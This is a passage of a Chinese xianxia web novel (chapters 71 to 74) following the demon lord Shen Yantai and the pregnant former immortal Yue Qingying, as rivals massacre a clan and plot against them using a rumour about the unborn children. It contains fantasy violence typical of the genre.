沈砚台这一救,单看是救活了些人,可深思下去,这些人也都有家庭,间接性的,是不是代表他救活了更多人? 沈砚台没有盲目做好事,救完人就离开了。 村庄的恢复事宜,便还是留给百姓们自己。 月轻盈看着他背影走远,刚想追上去,天际忽然炸开道道惊雷。 在一道闪电落下时,月轻盈骤然想起,逆天改命,死人变活人,触犯天地律法。 沈砚台要挨雷劈了。 果不其然。 沈砚台远离大山,村镇,来到一荒无人烟的空旷地带。 他一人站在雷电风暴中,不畏雷云压境的迫人气势,依旧站的顶天立地。 单薄的身影愣是可以为之抗衡。 第一道雷劈下,沈砚台皮开肉绽。 第二道雷劈下,沈砚台血肉模糊 第三道第四道……沈砚台轰然倒地。 月轻盈看的触目惊心,呆滞在原地,久久无法回神。 魔与神的转变怎么这么极致。 到底是谁改变了沈砚台,让他开始放弃杀戮,转为佛子心肠?【你现在阅读的是 】 70-80 第71章 第71章 你亲我了 月轻盈一步步上前。 看着倒在血泊中失去意识的沈砚台, 有些手足无措。 魔头沈砚台居然有一天会毫无防备,就这样昏死在他面前。 杀了他! 他的意识再不断催促他。 “杀了他……”他启唇呢喃,想起三个徒弟, 枉死的其他修士, 无辜的百姓, 他眼眶猩红。 “对,现在就是杀了他的好时机。” 心脏跳动的声音,大的月轻盈都不敢细听,他鼓起勇气, 步步接近。 靠近沈砚台的身边时, 抬手从自己的身上摸索武器,手顿住了。 他看见一把明晃晃的刀横在沈砚台的腰际, 他伸出手去寻。 手中的刀很沉,刀鞘上一层深红色的血垢, 想来这刀夺走了不少人的性命,但是这也说明了这把刀的锋利。 拔出刀鞘, 月轻盈心绪不稳, 他握紧刀柄, 心脏的剧烈跳动让他有些喘不过来气。 手直直拉高,对准沈砚台的心脏位置, 月轻盈闭眼,猛地往下刺过去。 一只冰凉的手, 忽然扣住了他的手腕, 他猛地睁开眼,沈砚台不知何时醒了。 他眼里带着的浓厚兴味,看的他心惊不已,手中的刀落下, 沈砚台利落接住。 “想杀人,动手就快点,磨磨唧唧地人醒了都不知道。” 月轻盈眼圈红透,鼻尖发酸,“你什么时候醒过来的。” “在你往我这边走的时候?”沈砚台收了刀,缓缓坐起身。 伤口愈合还需要一些时间,伤口也很疼,干脆腰一软,枕在了月轻盈的身上。 “那你怎么不醒,故意试探我?” 身体一沉,月轻盈挣扎,想要将他推开,沈砚台却是抬手搭在了他隆起的小腹上。 “别动,我手心里可是有一团魔气,你要是乱动,孩子不小心给我杀死,你可不能怪我。” 月轻盈闻言落泪,双手紧紧地护住肚子,“不行,你不能杀他们。” “嗯,所以你乖乖地。” 沈砚台闭上眼,头靠在他腿际,大掌一下下抚摸圆滚滚的肚皮。 月轻盈因为担心,大气都不敢喘。 就这样恐吓,让月轻盈老实下来的沈砚台,唇角勾起得逞的笑。 他抓住月轻盈的把柄了。 “你放心吧,我的罪孽还没有赎完,届时,你再来杀我吧。” 月轻盈一愣,看着似是呓语的沈砚台,有些震惊。 “你说什么?” “你不是知道?”沈砚台睁开眼,眼底清亮有流波,视线下垂落在挺起的大肚子上。 “这三个小东西在吸取我的生命力,即使你们不来杀我,我也会一天天变弱。” “总有一天我会死去,在我临死之际,你来给我最后一刀,终结我的生命,咱俩的恩怨也算一笔勾销了如何?” 月轻盈怔然,久久未语。 沈砚台也未打扰他。 只是在伤好后沉默无言的起身,拉住看起来有些失神落魄的月轻盈。 手心交缠时,月轻盈受惊,小小地挣扎了一下。 沈砚台却根本不让他逃,强势又霸道,牢牢握住了他的掌心。 两人近夜里才回医馆。 沈砚台一身血污,月轻盈身上沾染了不少,他皱眉想去洗漱。 沈砚台看着他笨重迟钝的身体,不放心,脚步一抬跟了上去。 月轻盈褪下衣物,摇摇晃晃正打算抬腿走进浴桶里,沈砚悄无声息出现,扶起他。 月轻盈回头,瞪了他一眼,全程一直皱着眉头,被沈砚台伺候着洗浴。 和沈砚台睡倒在一张床上的时候,他还有些迷瞪,但他已经没有精力思考。 沈砚台睁开眼,眼瞳在黑夜里变地幽深,他看着月轻盈的睡颜,听着他浅浅的呼吸,挪动身体贴了上去。 修真界,月华宫。 宋先灵正在住所里发疯。 “魔尊和月轻盈不见了!” “怎么会不见了!” “我不是说了,月轻盈那个贱人怀了别人的孩子,编造他陷害魔尊,杀害魔尊,就算魔尊失忆,也还是下意识地偏袒他是吗!” “去,去给我把他们找出来!” “我宋先灵不能和爱人厮守,他们也要一死一生,永远不能在一起!” 距离魔界几千米远的三不管地带。 一座山窋里。 一群穿着黑色衣服的人,正恭敬的跪着,虔诚的膜拜上首的黑衣人。 这些人是正道修士,靠着自身的意志力和头领的救助才从沈砚台手中逃脱出来的。 今天,他们的头领修为终于到达了一定的高度。 不久后,他们将见证头领与天骨融合仪式! 只要顺利,他们的头领就是第一仙尊,和月轻盈相匹敌,甚至修为比他更高的存在。 头领会带领他们走向正道,会去狩猎沈砚台那个赤色蛟龙畜牲。 会为他们铺建造一条通往成神的道路,他们将头领视为神! 极其安静的空间。 黑衣人头领,在所有人的见证下取出了那根从沈砚台手中好不容易得到的天骨,眼里都是狂热。 天骨融合仪式很简单。 让天骨主动落入体内,和自己的仙骨合而为一,为他的修仙路助力。 他发起自己的仙气,包裹住天骨,想要吸收它。 变故在瞬间发生。 他的仙气在碰触到天骨的时候,天骨周身那层玄燃的光变得暗淡灰败。 黑衣人头领脸色一变,这根本不是天骨!这是已死修士的灵骨! 修士陨落,这灵骨也就成了废物! 他被骗了! 清晰的知道自己被耍了之后,头领铁青着脸也不好发作。 看着脚底下匍匐跪着的信徒,想他一路爬到现在的位置,他都不能让人发现,他根本没有得到天骨的事实! 简单将灵骨扮成被自己吸收了的假象,头领语气沉沉。 “我刚吸收完天骨,还需闭关修炼几日,让天骨为我发挥作用,这段期间我有几点事宜安排你们去做。” “第一,我要你们找出月轻盈。” “第二,趁我不在的这段时日,你们可以拉拢一些有用的人马,铲除沈砚台指日可待。” “第三,调查月轻盈还有没有亲信。” 他的话一落音,信徒们便高声附和。 “是,务必完成使命!” 睡梦中的沈砚台一个惊醒,下意识地转头去看月轻盈。 因为怀崽,他体温高,热的蹬了被子,沈砚台看完愣了片刻,捂脸笑了一会儿,轻手轻脚给他盖好。 见月轻盈不满的皱起了柔软的眉宇,沈砚台抬手终是没落下去。 起身后他侧目看了一眼睡沉的月轻盈,阴沉着脸走了。 小川的灵骨被人给碰了。 那些打天骨主意的人发现他们没有得到天骨,势必不会罢休。 他就是死也要将天骨藏好。 天骨就是月轻盈的第二条命。 想到这里,沈砚台有些害怕,这是不是代表月轻盈有朝一日会死。 他死了,孩子怎么办,他怎么办? 沈砚台满目担忧,他现在能体会到,为什么他的父亲母亲为了他活下来,愿意将命数分给他,甘愿死去。 这就是爱吧。 是的,沈砚台恢复了记忆。 他发誓,他绝不会在作恶,一心向善,变成月轻盈喜欢的那类人。 月轻盈是被肚子里的踢动给惊醒了。 刚睡醒他有些懒洋洋地,整个人温柔的不得了,他眉眼弯弯,嘴角含笑,轻拍肚皮。 “好好好,别闹了,爹爹知道你们醒了,爹爹也跟你们打招呼了,你们在踢蹬一下小脚看看?” 肚里沉寂了一下,接着三下踢蹬感传来,月轻盈惊地眼睛瞪大,继而满足一笑。 “好乖噢,好乖好乖。” 和三个崽崽互动了一会儿,月轻盈这才想起来身旁有人。 脸上的笑容消退,他冷脸看过去,见身旁空无一人,眉眼不经意地带上了失落。 他自己都没有察觉。 沈砚台这一消失,就是好几天,医馆生意依旧很忙。 月轻盈累了就歇会,有时候情况紧急也会硬撑着给看完。 接连几日的操劳让他消瘦了不少。 沈砚台是在一个夜晚,风尘仆仆赶回来,周身还有一股寒气。 寒气逼近,睡的不沉的月轻盈就惊醒了。 察觉到是熟悉的气息,他闭眼假睡,不消片刻,寒意消失。 他耳力灵敏,听着脚步声朝自己走来,他的下巴被捏住。 唇瓣上碰触到一股温热,他一个失神,下意识吞咽着抵到了喉间的东西。 他猛地睁开眼,以臂格档开沈砚台的接近侧身闪躲,对他怒目而视。 “你给我吃了什么!” 沈砚台用大拇指蹭去唇边的湿润,满目笑意:“你亲我了!” 斩钉截铁,笃定的口吻,让月轻盈气闷羞恼,“我没有!” 沈砚台不和他辩,好整以暇思地抱臂看着他柔柔地笑。 月轻盈不争气,耳朵红了,心躁动,恼怒道:“你到底给我吃了什么!” 他紧张的伸手抚摸腹部,唯恐会对孩子不利,细细感受,只觉得体内有一股暖流在补充他体内的仙气,让他被孩子吸收掉有些亏空的身体得到了滋补。 “管这么多做甚,反正不会害你。” “那我也不能吃来路不明得东西,总得为孩子……” “孩子孩子,有了孩子你都没有了自我,不过也是,你总是这么关心别人。” “他们不是别人!是我们……” 沈砚台表情突然变得认真起来,看着话语戛然而止的月轻盈,他没了耐心。 “是我们什么?” 月轻盈垂眸不语。 沈砚台见状,也不逼迫他,只自己笑开,“是我们的孩子对吧?” 月轻盈扭脸怒瞪他。 沈砚台笑得更开心了,“你不要不承认。” 月轻盈无言以对。 沈砚台趁他不备,捧起他的脸凑上去亲了一口,满腔感情喷涌而出。 “我很想你。” 被这么温情对待,月轻盈不适应,拼命往后逃,沈砚台不让他逃,他的脸被捏的尖尖地。 抬手将他的手打开,月轻盈眼眸很冷:“沈砚台,你是不是恢复了记忆。” 沈砚台动作一顿,讳莫如深道:“你怎么会这么想。” “失忆的沈砚台像个傻子,恢复记忆的沈砚台才会是这般阴晴不定。” 沈砚台给他故障,“你好聪明啊,盈盈。” 刻意拉长加了些熟稔态度的一声盈盈,让月轻盈呼吸一滞,看着沈砚台的眼眸五味杂陈。 “你为什么要恢复记忆?” “爱你爱到失去自我?” 月轻盈只关心一件事:“又要去杀人吗?” 沈砚台一愣,随即苦笑,“我在盈盈的眼中真是没有一点可取之处吗?” 月轻盈唇瓣嗫嚅。 沈砚台表情变得认真:“是,有些人无论如何我都要杀了。” 月轻盈想起来给他带来了不可磨灭的记忆的沈砚台,周身疲惫。 “出去。” 沈砚台不走。 “我说我让你滚出去!”月轻盈骤然发火,太过激动顶到了肚子,瞬间疼地闷哼一声。 沈砚台不敢刺激他,眼眸担忧,倒退着离开了。 他一走,月轻盈开始落泪,不知为何悲伤,只喃喃道:“你为何要恢复记忆……” 第72章 第72章 吃月轻盈的孩子可以飞升 同一时间。 宋先灵没有走漏风声, 秘密进行地毯式找人。 黑衣人那边也在积极的寻找线索,不放过蛛丝马迹。 石窟。 黑衣人禀报:“头领,从抓来的鸟族人的口中得知, 月轻盈怀孕了, 被沈砚台带走, 两人不知去向。” 头领一愣:“怀孕了?” 他眯眼思索了一会儿,眼里有着不怀好意的光。 “怀孕了,这可真是极好啊,沈砚台也真是嚣张, 仗着自己修为高, 竟是带着月轻盈大摇大摆到处晃荡,很快, 我们就让他们栽跟头。” 头领吩咐下去:“你去,带着抓到的鸟族, 去把鸟族的人杀了,记住喽, 可别杀光了, 留一半, 然后……让他们来投奔我们。” “是!” 宋先灵还在为不让月轻盈和沈砚台好过伤脑筋,忽然, 就收到了鸟族特有的传信。 “鸟族有难,速归!” 宋先灵谨慎, 确认了笔迹意识到鸟族出了什么事, 立刻带着婢女返回。 可是等他去的时候,一切都已经晚了。 鸟族,昔日里光鲜亮丽恢宏无比的门楣,此刻上面竟是溅满了炙热的鲜血。 滴答滴答, 滴落在地面很快就聚集了一滩。 宋先灵不可置信,沉痛的打击让他腿软,婢女也脸色苍白,膝盖一软跪了下去。 宋先灵眼眶猩红,强撑着恐惧,来到府内,遍地横陈的尸体,一滩滩鲜红的血,空气中翻涌的血腥味令人作呕。 “爹……”宋先灵声音颤抖,眼泪模糊了双眼,抖着手在尸体中翻找亲人。 “爹……”举目望去都是死气,宋先灵惊怒交加,恍然无措。 “大……大哥……” 宋先灵一愣,仔细辨认了方向,便迅速飞奔而去,没有注意到脚下的尸体,被绊倒后便匆忙爬起来。 “宋先锦!” 宋先锦身中数刀,她一直最仰仗的漂亮的脸也被划烂,她倒在血泊中,口中还在呕血。 瞪大的一双眼,眼里都是不甘,她伸出手死死揪住宋先灵的衣服。 “大……大哥,我们鸟族怎么落地满门被屠的下场……” 宋先灵感受到她极大的怨气,吓得浑身颤抖,鸟族的覆灭,让他的世界都在崩塌。 “大……大哥,我还不想死……”宋先锦呜呜哭出来,感受自己气数已尽,她发出最后咆哮。 “大哥!帮……我们报仇!”宋先锦死不瞑目。 看着倒地的宋先锦,宋先灵抽噎了一声,猛地抱住了她的尸体,哭着,茫然四顾。 “爹……宋先名!” “爹,宋先名!” 像这样的呼唤,一直到早晨,宋先灵的嗓子哑了,整个人也跟疯了一样。 身上沾染的血际干涸,翻找了一晚上的尸体,他早已累瘫,心中沉痛的悲哀让他失去了灵魂似的。 婢女找到他的时候。 天边万道金光,落在血泊中的宋先灵身上,他似是地狱中的鬼。 婢女吓得尖叫,辨认出是少爷后,立刻哭喊着上前想要扶起他。 “是……是谁……” 婢女听到宋先灵嘴唇蠕动,说着什么,但听不清,便将耳朵凑过去些。 宋先灵说:“到底是谁下如此狠手。” 婢女摇头,无措地哭,“少爷……我们鸟族是凤凰之后,这三界五行,谁人不知谁人不晓,到底是谁敢对鸟族下如此毒手。” “是啊,三界五行有谁敢对鸟族出手……” 似乎是想到了一个可能,宋先灵一下子顿住,半晌后,他抗拒相信,摇头落泪。 “不会的,肯定不会是沈砚台做的!” 婢女一下子哑口无言。 是啊,鸟族何等辉煌,三界五行能对鸟族出手,能将鸟族灭族的人,只有一人,那便是魔尊沈砚台。 宋先灵像是抓住救命稻草一样,揪紧了婢女的双手,力气之大,将她的手给捏断了也没有发现。 “是不是,是不是月轻盈教唆沈砚台这么做的,为的是……为的是报复我!是不是啊,啊,是不是?” 婢女痛的几欲死过去,但她没有挣脱。 她从小就是孤儿,体会不到少爷痛失亲人的痛苦,但是这种痛苦她肯定无法承受。 她看着宋先灵无法聚焦的眼睛,痛哭道:“少爷,我们去找沈砚台问清楚!” “不!” 宋先灵有些惊惧似地,一下子将婢女给推开了。 “不,不行,我们会打草惊蛇,不能找他,对,不能找他,但是不找他,我们该找谁,还有谁能杀了沈砚台和月轻盈……还有……” 说到此处,宋先灵眼圈再度泛红,唇瓣颤抖,哭嚎起来,“我一定要报仇,我一定要报仇!” 石窟。 办完事的黑衣人回来交差,“头领,已经按照您的吩咐将鸟族人杀的差不多了,留下了跟在沈砚台身边的宋先灵。” “宋先灵一人足矣,他会帮我们找到其他帮手的。” 头领道:“现在该轮到下一步了。” “你就去说,去跟所有人说……月轻盈怀孕了,天骨之资的第一仙尊月轻盈怀孕了,他腹中的胎儿定有天骨遗传,吃了他的孩子会飞升成神。” “是!” 一时间,三界五行被这则消息震惊地天翻云涌。 “砰!”一声巨响。 医馆后院的竹制桌子被劲风震的粉碎,沈砚台脸色铁青,杀意环身。 “真是歹毒!为了天骨竟然不惜撒下如此丧尽天良的谎言。” “就这是所谓的正道修士!” 听完了消息的沈砚台有些焦躁,眼睛也频繁看向在前院厅堂给人看诊的月轻盈。 很快,他沉静下来,他现在做的不是发火,浪费时间,而是要想对策。 他们现在在凡间,正道修士和其他族人还没有找到这里。 他得带月轻盈离开这里,将他安置在安全的地方,他才有全胜的把握去处理那些动了心思的杂碎。 他整个人沉淀下来,盯着月轻盈,眼里是不死不休的执着。 诊疗了一批人,医馆暂时空落下来,月轻盈起身喝水,沈砚台踱步到他身边。 “这里呆的差不多了,看病的人也少了,我想换个地方,行善积德。” 月轻盈虽然狐疑,但近况跟沈砚台说的一致,想了想,他也就同意了。 沈砚台偷笑:“你好像习惯我了,这么平和的和我说话。” 月轻盈将杯子一撂,转身离开。 沈砚台端着杯子在后面烦他,“不喝了?那我可用你的杯子喝水了啊。” 月轻盈脚步顿住,磨牙道:“你敢!” “那你再跟我说说话?就刚才那种温柔的语气,就那种自然的神情……” “说话就说话,你要求还挺多!” 月轻盈转身极其认真的看着沈砚台,字字诛心。 “沈砚台你别忘了,我们之间有血海深仇,我一定会杀了你。” 沈砚台一愣,丝毫不介意,还蹭到他身边,眼睛看着他的大肚子。 “不对吧,除了血海深仇,我们之间应该还有点关联的。” 月轻盈抿唇,哼了一声走了。 沈砚台站在原地,看着他的背影,一口一口啜着杯子里的水,颠儿颠儿地:“哎呦,都敢在我面前发脾气了,还说对我无意。” 几乎是在沈砚台说完要搬走的话,没多久他们就离开了这个小镇。 没有收到消息的百姓们,次日和往常一样来看病唠嗑,见着医馆阖上的门,先是一愣,然后便是诚心的弯腰致谢。 时日不多,但是月轻盈和沈砚台可能不知道他们在小镇上做的事,早已让百姓们敬称他们为活神仙。 既然扮成的是凡人,路程的问题也用马车解决了。 魔物们在前面赶车,沈砚台和月轻盈则是坐在马车里。 月轻盈怀孕后总容易饿,不时需要吃点零食填嘴果腹。 他吃,沈砚台就在一边看着。 看的次数多了,月轻盈就烦了,还戒备地将小零食多次往自己的方向挪。 “这么喜欢?” 沈砚台看了眼被他吃的还剩下不到一点的小零食,满心欢喜。 这些都是他在看诊的时候,和怀孕的妇人们唠嗑时打听到的。 自然,食材肯定不是凡间这些俗物,他是去修真界找了替代品,带来凡间,让点心大师做的。 为了不让月轻盈察觉这些,他都谎称是让魔物们去买的。 “慢慢吃,行李里还有两大包。” 月轻盈眼睛发亮,他真的很喜欢这些酸酸甜甜的小零食,梅子,干果,点心,样样合他口味,吃完之后他的体力和精神都好了很多。 “你倒是跟我说说话啊。”沈砚台眼巴巴看着月轻盈。 见他不理,凑进去道:“你不知道吧,凡间的那些妇人们说了,爹娘不爱说话,小孩子生下来以后也不爱说话,久而久之会变成小哑巴。” “你骗人!”月轻盈紧张地捂住肚子,一脸警惕,“我怎么没有听说过。” “我还知道,夫夫要是不恩爱的话 肚子里的孩子也能感受到,生下来后小孩子的性情就会很冷漠,搞不好会变成杀人大魔头。” 月轻盈无喊 只丢过去一个幽深的眼神。 看清楚他眼里明晃晃你就是大魔头源头的含义,沈砚台破天荒老实下来。 自认为扳回一局的月轻盈,眉眼弯了弯,但想到自己竟然会因为沈砚台这个魔头发笑立刻鼓起腮帮,气呼呼吃着东西。 两人舟车劳顿,来到了临近的一个集镇。 小镇氛围还不错,也很繁华,沈砚台决定在这里落脚。 月轻盈一下车,便感受到了视线,他有些狐疑的看了过去,哪些人就收回视线,做起自己的事。 沈砚台自然也感觉到了,但他不想月轻盈受到影响,一边警惕一边扶着他下马车。 石窟。 黑衣人禀报:“头领,经过对所有怀孕的生物排查,我们找到了月轻盈在下界。” 头领:“事情办的不错 该轮到我们出马了。” “信徒们诚信起愿,头领能灭了沈砚台,杀了月轻盈这个为正道带来羞辱的前任仙尊。” 头领哈哈大笑,“放心,定然不会让他们好过。” 沈砚台支起了一个小医馆,病人上门时他却不会亲自看诊了。 他专门应聘了两位大夫看诊,而他则是围着月轻盈身边打转。 他很不安。 他预感他们会在这个集镇发生点什么,所以他只想粘着月轻盈。 但月轻盈不懂他的苦心,只当他是在温水煮青蛙,妄图用这种小恩小惠获得他的原谅。 “你不要在跟着我了!”月轻盈简直没有一点人生自由,忍无可忍。 沈砚台摇头,没有商量的余地。 月轻盈板着脸,沈砚台板着脸。 这时,一对小夫妻从他们身旁经过。 美娇妻声音软甜地对她的夫君撒娇,“夫君,那个簪子我想要。” 夫君立刻软了态度,“好好好,买买买。” 月轻盈大为震惊。 他转眸看向沈砚台。 沈砚台挑眉,警惕他搞什么鬼。 月轻盈四下看了看,到处都是人,他纠结一阵,扭捏上前,靠近沈砚台。 沈砚台微微俯身,便见他仰首,凑近他,小声亲昵喊他。 “夫君,我想一个人走走。” 沈砚台当时就被那句夫君给俘虏了,被迷惑地点了头。 等他回神,月轻盈早跑没影了。 沈砚台仰天无语,抬手捂脸,红透的耳朵,和上扬的嘴角,表示月轻盈的撒娇对他很受用。 第73章 第73章 你难道还想害死孩子吗…… “这么可爱, 我也没有办法。”沈砚台放下手,无可奈何。 “这些日子让他一直粘着我,确实是闷到了。” 沈砚台仗着自己的心头血, 能找到月轻盈的位置, 心里虽有隐隐地担忧。 但他抵挡不了月轻盈愿意跟他亲近的诱惑。 “只这一次让你出去玩一回, 等解决了那些杂碎,你想去哪我都放纵。” 逃跑能成功月轻盈自己都有些不相信。 他回头看了看,见没有沈砚台的身影,有一丝雀跃。 他沿着集镇的道路到处乱逛。 川流不息的人群, 小摊主的叫卖, 看得久了,也就有些平常了。 沈砚台怎么还不来找他。 被这个想法吓到, 月轻盈一愣,脸色冷厉, 一步步朝远处走。 这一走,就不知道来到了哪里。 他的面前有一片很大的湖泊, 太阳光洒在水面, 亮晶晶像是铺满了碎银。 周边空旷, 没有人烟。 他回头看了一眼,这一走竟是走出了集镇外面。 看了看天色, 他打算回去,就在这时, 余光里忽然瞥见到了仙兽雪月兔的身影。 “雪月兔!” 树岭里的仙兽早已死绝, 难道刚才他看见的那只是逃到了下届的幸运儿。 月轻盈没有犹豫,径直跟了上去。 雪月兔似是不知道身后有人,毫无防备的回到了自己的巢穴。 等见不到雪月兔的身影,月轻盈才茫茫四顾, 发现自己不知道来到了哪里。 正欲离开,身后响起的脚步声留住了他。 “月仙尊,许久不见,别来无恙。”一道熟悉的声音响起。 “你是江源?”月轻盈缓缓转身,对面站着一穿着黑袍的人。 黑衣人,也就是江源,眼中眸光一闪,倒是没想到月轻盈竟然一眼就认出了他。 他哈哈笑了两声,靠近月轻盈,视线在他腹部快速扫了一眼。 “修士们都在传你怀孕了,看来是真的。” 月轻盈拉下脸,“你是来找我的?” 江源又叠声笑:“仙尊,我们都是正道修士,你不必对我有防备。” 月轻盈不说话,只看着他的眼睛里多了些戒备。 他不会忘记江源,小宵的死让他对这人记忆深刻。 “你既然知道我怀孕了,也知道这个孩子是谁的,你还敢来找我,是不怕死吗?” “仙尊啊,多日不见,你说话的口吻倒是和魔头沈砚台有些相似了。” “这大概就是近朱者赤近墨者黑。” 月轻盈不耐道:“你有话直说。” “看来你还蒙在鼓里。”江源眼里端着高深莫测,道:“那魔头沈砚台做的事你还不知道吧?” 月轻盈不语。 江源下了一记猛药,“魔头沈砚台前些日子带了人马,把鸟族给屠了。” “哎呀呀,你是没看见那从鸟族族长府里渗透出来滚下台阶,淌在地上的血是鲜红一片啊,就像不远处的湖泊。” 月轻盈想起来沈砚台行踪神秘的前些日子。 难道,沈砚台真的杀了鸟族的人? “你为何跟我说这些?” “自然是想要提醒仙尊。” 江源收起笑脸,叹了口气,“仙尊,自那日魔族宴会后我思考了很多。” “如果当日不是沈砚台挑拨,我也不会觉得你和他有染,从而骂你,导致你徒弟为你出头,最后殒命。” 想起小宵那个漂亮胆小的孩子,月轻盈眼里浮现起波动。 “你终究想干什么!” “不干什么,就是想请仙尊再回去做我们的仙尊。” “什么?”月轻盈仿若自己听错了。 “我体内已经没有了天骨,且还有身孕,运仙气都难,我有什么资格再做回仙尊?” 天骨竟然不在月轻盈身上吗? 看来天骨是在沈砚台的手上。 江源眼睛一眯,继续游说道:“我们可以等你把孩子生下来。” “什么?”月轻盈震惊,看着江源的眼神里多了层幽深。 “你们这些长老级别的修士,修为也不低,执着于让我来做仙尊,肯定还有别的原因。” “好吧,看来是瞒不住了。”江源深痛恶绝的口吻:“经过鸟族被灭族一事,我们这些躲躲藏藏的修士又开始担心起自己的生命。 唯恐沈砚台哪天发疯,将我们正道修士全都屠尽。 我们推崇你做仙尊,一来,是想你亲自杀了沈砚台,为自己正名,洗清曾经受到的屈辱,还有便是,你最了解沈砚台,有你助力杀了他整个修真界才会太平。” “不可能。”月轻盈一口否决。 江源脸色有些难看,“难道你真的爱上了沈砚台?” “无稽之谈。” 月轻盈想到沈砚台现在的修为,闭闭眼道,“他修为又精进了,就是你们所有人加在一起也杀不了他 ” 江源沉默了一会儿,忽然抬衣跪在月轻盈的面前,赎罪。 “仙尊,我江源该死,不该逼得你徒弟对沈砚台出手,被沈砚台杀了,丢了一条命。” “今日,我江源,愿意用我这条老命,就是跪死在这,也要请你做回仙尊!” 月轻盈冷眼道:“你走吧,我不会做回仙尊的,你们既然能躲过沈砚台的眼线躲藏活到现在,还是惜命些的好。” 见月轻盈不松口,江源眼里闪过恨意,他站起身,忽然道。 “就算你不想做回仙尊,那你也能去看看我们啊。” 江源说:“一千二百八十五名正道修士都还活着!” 月轻盈脚步顿住,竟是没想到还有这么多的修士活着。 “他们活着就好。” 见月轻盈还是要走,江源再度挽留。 “仙尊,三日后我还来见你,届时,希望你已经想清楚,你到底是谁。” “是正道修士,还是魔头的妻子,还是为人父母的身份!” “魔头还未死,第一仙尊月轻盈你就要这样苟活吗!” “若是有朝一日,魔头沈砚台死在我们的手上,带着孩子没有依靠的你,穷途末路,你难道还想害死孩子吗!” 江源没说一句,月轻盈的步伐就越沉重,他可真会说,句句说在他的心坎。 他怀孕仙气微弱,尚不能自保,若是离了沈砚台,那些得知沈砚台有子嗣的人定不会善罢甘休。 斩草除根。 他好不容易救活的三个徒弟,三个孩子,说什么,他也不能再失去了。 月轻盈的步伐渐行渐缓,迟疑道:“容我考虑考虑。” 江源知道他刚才那一番话起作用了。 压抑住心里的焦急,笑道:“我等着你。” 回去的时候,月轻盈的脑海里一直盘旋着江源说的话。 回到医馆的时候,医馆已经点了灯。 明亮的烛火,窗内的倒影,有人在等他,看似平凡的一家人,又有谁能想到,这里头住着的是杀人不眨眼的魔头。 沈砚台本来都急得去找人了,运用心头血,这才发现月轻盈已经回来了。 他迎上去,见他脸色不佳,猜测到是发生了甚什么事。 他若无其事招呼他用餐。 月轻盈顺从坐下,拿着筷子没什么精神,眼睛频频看向沈砚台。 沈砚台关注他的一举一动,见他吃的不多,自己也没有胃口。 “怎么了?”他放下筷子,一副谈心事的样子。 月轻盈跟着摆筷,叹了口气,起身,回去休息了。 沈砚台起身,亦步亦趋,听着他的脚步声,江源的话就在眼前闪现他心烦气躁,对着沈砚台吼了出来。 “你能不能不要出现在我面前,让我清净些?” 沈砚台愣住,好脾气的笑笑,“好。” 他一走,月轻盈又开始懊恼,自己拿他出气,可又觉得他活该。 谁让他作恶多端,不得他人敬重。 “谁能想到,咱们竟然是要依靠当年差点逼死我们的人过活。” 月轻盈垂眼,看着自己的大肚子喃喃细语。 沈砚台心情很不平静。 不是为了月轻盈吼他,而是他知道月轻盈的反常,定是有人在他面前说了什么。 “找到那些杂碎的下落了吗?” “保护在尊后身边的魔物们来信,他们一路跟踪江源,到了三不管地带,那些杂碎藏在石窟里苟且偷生。” “原来在三不管。” 沈砚台眼里倾斜出杀意,浑身的魔气深压逼境,周围的一切全都变成了齑粉。 江源回去的时候,还在盘算着利用月轻盈杀了沈砚台,得到天骨的美梦。 不料下一秒,他就嗅到了血腥味,紧跟着就穿来了骚动。 一身黑衣,浑身魔气笼罩的沈砚台,径直杀了进来。 他手上还提着一人,手指扣在那人的眼窝处,手法极其残暴。 江源脸色铁青,竟是没想到自己竟然被他跟踪,反杀了一招。 “就是你这个老东西一直贼心不死,还惦记着天骨。” 江源嘴硬不吭声,只是在下一秒就迅速逃跑了! 沈砚台本想去追,却被其他修士给纠缠住了,他气急,只来得及伸出一手,破碎虚空,对着江源逃跑的位置狠狠一握。 手掌中有被握住的阻力,沈砚台舒心了不少,江源那个狗东西,不死也该是受了重伤。 荒无人烟的草地,江源吐血不止,后背被捏碎,强撑着一口气,坐地吐息养伤。 他不甘。 他先前好不容易从沈砚台手里死里逃生了一回 ,步步为营,谎骗其他人,得到了头领的地位和权利。 现在一招被破,他该怎么绝地反扑! 他咬碎了一口牙,忽然听见不远处传来了交谈声。 “少爷,咱们来这三不管,真的能找到人给咱们报仇吗?” 是宋先灵和他的婢女。 宋先灵眼神里只剩下了恨意,“我们鸟族有钱,有族宝,总有一些好处会引得别人起贪念,届时,我们纠集人马,一定会杀了灭了我们鸟族的人。” “是,少爷,咱们这边走。” 宋先灵和婢女两人乔装打扮,为的就是不惹人注意。 江源一直在跟踪他们,听见这对话,眼睛滴溜溜转,真是天助力他也,忽然就动了心思。 “两位请留步。” 宋先灵和婢女没有想到如此偏僻荒凉地,竟然还有人。 他们后退一步,警惕地看向来人。 见这人一副身受重伤的样子,更是脸色骇然。 “你是什么人?”婢女护住宋先灵询问出声。 江源苦笑,开始卖惨,“我乃是正道修士江源,好不容易在沈砚台的控制下逃出生路,只是先前去见了月轻盈仙尊一面,就被他追杀至于此。” “方才听说你们再找帮手,如若不介意,我们这边还有一千二百八十五名修士,愿和你合作。” 第74章 第74章(倒v结束) 沈砚台死了…… 一千二百八十五名, 这个数字庞大,宋先灵有一点点心动。 但是,想到正道魔道对立, 他又有些不相信江源。 “你怎么来帮我们?”宋先灵怀疑。 江源深知他有戒心, “现在情势所迫, 不该分正道魔道,咱们的共同目的都是沈砚台就够了。” “你肯好心让着一千二百多修士为我们所用?”宋先灵问道。 “当然,只是你们也不能什么都不做,我要你们鸟族族宝凤凰喙。” 宋先灵气势迸发, 用修为压制江源, 脸色冷了下来,“我就知道你不安好心, 鸟族族宝也是你能觊觎的?” “只是借来一用,你何必这么大动干戈?”江源被魔气重压, 几乎是跪在地上。 “借这个字说的好听,就怕你贼心不死想要据为已有。” “你现在也看到了, 我的修为不如你, 现在还是重伤, 我就是想觊觎也没有办法。” 宋先灵是来找人帮忙的,不是来惹事的, 点到为止,收了魔气的威压, 他看向疼得龇牙咧嘴的江源。 “先说说你有什么计划。” 江源一听, 眼睛都亮了,他眼眸一闪,“我打算利用月轻盈。” “月轻盈?” “是。” 江源说:“月轻盈似乎还很是念旧情,我已经和他约好了三日后再见, 那时,希望你们旁边做个局。” “什么局?” “瓮中捉鳖的局。”江源说的信誓旦旦。 石窟。 沈砚台解决了私逃的正道修士,站在原地看着魔物们清理垃圾。 “还没找到那个狗东西吗?”沈砚台面色不愉,眉眼深压,怒火一触即发。 “这……魔尊赎罪,那个杂碎好像有秘法,我们无法差到他的行踪。” “那个狗东西老奸巨猾,你们不是他的对手也算是情有可原。” 